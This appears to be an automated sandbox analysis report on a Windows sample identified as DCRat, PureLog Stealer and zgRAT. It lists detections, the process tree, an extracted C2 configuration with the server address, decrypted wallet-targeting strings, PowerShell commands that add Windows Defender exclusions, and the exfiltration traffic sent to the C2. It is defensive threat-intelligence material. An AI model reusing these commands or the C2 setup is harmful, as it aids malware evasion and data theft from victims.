Edit tour

Windows Analysis Report
lEwK4xROgV.exe

Overview

General Information

Sample name:	lEwK4xROgV.exe renamed because original name is a hash value
Original sample name:	6275c7746a9ce8e5e2fc05271e47bac9.exe
Analysis ID:	1583843
MD5:	6275c7746a9ce8e5e2fc05271e47bac9
SHA1:	6e602c5d626aedcc9006c18b5dcb4285265501f0
SHA256:	a289b8be605d9a1d0b7d4f30290a2ce798aa6b70e2a7440fec0e07625b50fd73
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Drops executable to a common third party application directory

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

lEwK4xROgV.exe (PID: 2200 cmdline: "C:\Users\user\Desktop\lEwK4xROgV.exe" MD5: 6275C7746A9CE8E5E2FC05271E47BAC9)

powershell.exe (PID: 6852 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3940 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3716 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6184 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7740 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 6824 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\RuntimeBroker.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7328 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\eTXTKQnz3l.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7512 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7592 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

kOfFkekrfoWUJKTEEHXqPfq.exe (PID: 7896 cmdline: "C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe" MD5: 6275C7746A9CE8E5E2FC05271E47BAC9)

svchost.exe (PID: 5828 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "true", "2": "true", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
lEwK4xROgV.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
lEwK4xROgV.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\Default\AppData\Roaming\RuntimeBroker.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\Default\AppData\Roaming\RuntimeBroker.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1655955848.0000000000922000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.1746941075.0000000012FE3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000010.00000002.2902556731.000000000344A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: lEwK4xROgV.exe PID: 2200	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: kOfFkekrfoWUJKTEEHXqPfq.exe PID: 7896	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.lEwK4xROgV.exe.920000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.lEwK4xROgV.exe.920000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\lEwK4xROgV.exe, ProcessId: 2200, TargetFilename: C:\Users\Default User\AppData\Roaming\RuntimeBroker.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\lEwK4xROgV.exe", ParentImage: C:\Users\user\Desktop\lEwK4xROgV.exe, ParentProcessId: 2200, ParentProcessName: lEwK4xROgV.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe', ProcessId: 6852, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\lEwK4xROgV.exe", ParentImage: C:\Users\user\Desktop\lEwK4xROgV.exe, ParentProcessId: 2200, ParentProcessName: lEwK4xROgV.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe', ProcessId: 6852, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5828, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T18:27:16.350387+0100	2048095	1	A Network Trojan was detected	192.168.2.4	61232	86.110.194.28	80	TCP

ET MALWARE [ANY.RUN] DarkCrystal Rat Exfiltration (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T18:27:41.525200+0100	2048130	1	A Network Trojan was detected	192.168.2.4	61260	86.110.194.28	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: lEwK4xROgV.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\Mjflenyr.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\Default\AppData\Roaming\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\eTXTKQnz3l.bat	Avira: detection malicious, Label: BAT/Delbat.C

Found malware configuration

Source: 00000000.00000002.1746941075.0000000012FE3000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "true", "2": "true", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	ReversingLabs: Detection: 57%
Source: C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe	ReversingLabs: Detection: 57%
Source: C:\Users\Default\AppData\Roaming\RuntimeBroker.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\Desktop\AGJFDLPU.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\BVovudjy.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\EYaePNot.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\JqQCtqMt.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\LEHLeGpf.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\MBiTzGEa.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\Mjflenyr.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\NjoTfhRh.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\OpmblTzY.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\WghbylMW.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\YHzZGaLE.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\ZVhzqwUB.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\fJpQiebD.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\fsiyTJhB.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\hlxhFGTz.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\hvVhpsmw.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\kokPbpXu.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\ojlgiVNo.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\rURxpiYh.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\rlYPDESj.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\uXAwROpJ.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\vOcwhcWM.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\yOqmYLpC.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\yfxFnhjF.log	ReversingLabs: Detection: 50%
Source: C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe	ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: lEwK4xROgV.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\Mjflenyr.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\JqQCtqMt.log	Joe Sandbox ML: detected
Source: C:\Users\Default\AppData\Roaming\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\LEHLeGpf.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: lEwK4xROgV.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1746941075.0000000012FE3000.00000004.00000800.00020000.00000000.sdmp	String decryptor: {"0":[],"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"Current User","_3":"True"},"90f3c523-0b6b-4956-a617-29c89ed8da84":{"_0":"mail.google.com;example.com;any.domain.net","_1":"mail.google.com;example.com;any.domain.net"},"8c7d95c1-4def-4a0e-952b-f3c453358f2e":{"_0":"","_1":"Full path"},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"15000000","_2":"15","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds","_1":""}}
Source: 00000000.00000002.1746941075.0000000012FE3000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["zHFlomqzOzSnZgxiUfix602PbFglydtdXO4JY4u76mGvB3z1jyuvDPL9O0JjFEAuGzPLlnKavl0TtHOhPpBAs7aID44iuK12mVoLooP5oT9cY1PHllTaCACIZGHrsmql","4c41a3c6dfe580d84b91469fa4c05eb3080b8bc098b3225d94f01c5025ae6b3d","1","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJeElpd2lJaXdpWlhsSmQwbHFiMmxsTVU1YVZURlNSbFJWVWxOVFZscEdabE01Vm1NeVZubGplVGhwVEVOSmVFbHFiMmxrU0VveFdsTkpjMGxxU1dsUGFVb3dZMjVXYkVscGQybE5lVWsyU1c1U2VXUlhWV2xNUTBrd1NXcHZhV1JJU2pGYVUwbHpTV3BWYVU5cFNqQmpibFpzU1dsM2FVNXBTVFpKYmxKNVpGZFZhVXhEU1ROSmFtOXBaRWhLTVZwVFNYTkphbWRwVDJsS01HTnVWbXhKYVhkcFQxTkpOa2x1VW5sa1YxVnBURU5KZUUxRFNUWkpibEo1WkZkVmFVeERTWGhOVTBrMlNXNVNlV1JYVldsTVEwbDRUV2xKTmtsdVVubGtWMVZwVEVOSmVFMTVTVFpKYmxKNVpGZFZhVXhEU1hoT1EwazJTVzVTZVdSWFZXbG1VVDA5SWwwPSJd"]
Source: 00000000.00000002.1746941075.0000000012FE3000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/","processorWindowsDatalifepublic"]]

Source: lEwK4xROgV.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Directory created: C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe			Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Directory created: C:\Program Files\Common Files\Adobe\HelpCfg\en_US\97e8683a328693			Jump to behavior

Source: lEwK4xROgV.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: WINLOA~1.PDBwinload_prod.pdb source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3107325502.000000001B99D000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Code function: 4x nop then jmp 00007FFD9BAA2BBCh	0_2_00007FFD9BAA29C1
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Code function: 4x nop then jmp 00007FFD9C222AEDh	0_2_00007FFD9C222881
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 4x nop then jmp 00007FFD9B8A1CF6h	16_2_00007FFD9B8913BD
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 4x nop then jmp 00007FFD9BA82BBCh	16_2_00007FFD9BA829C1

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:61232 -> 86.110.194.28:80
Source: Network traffic	Suricata IDS: 2048130 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Exfiltration (POST) : 192.168.2.4:61260 -> 86.110.194.28:80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: global traffic

TCP traffic: 192.168.2.4:57094 -> 162.159.36.2:53

Source: Joe Sandbox View

ASN Name: RACKTECHRU RACKTECHRU

Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 1452Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2052Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
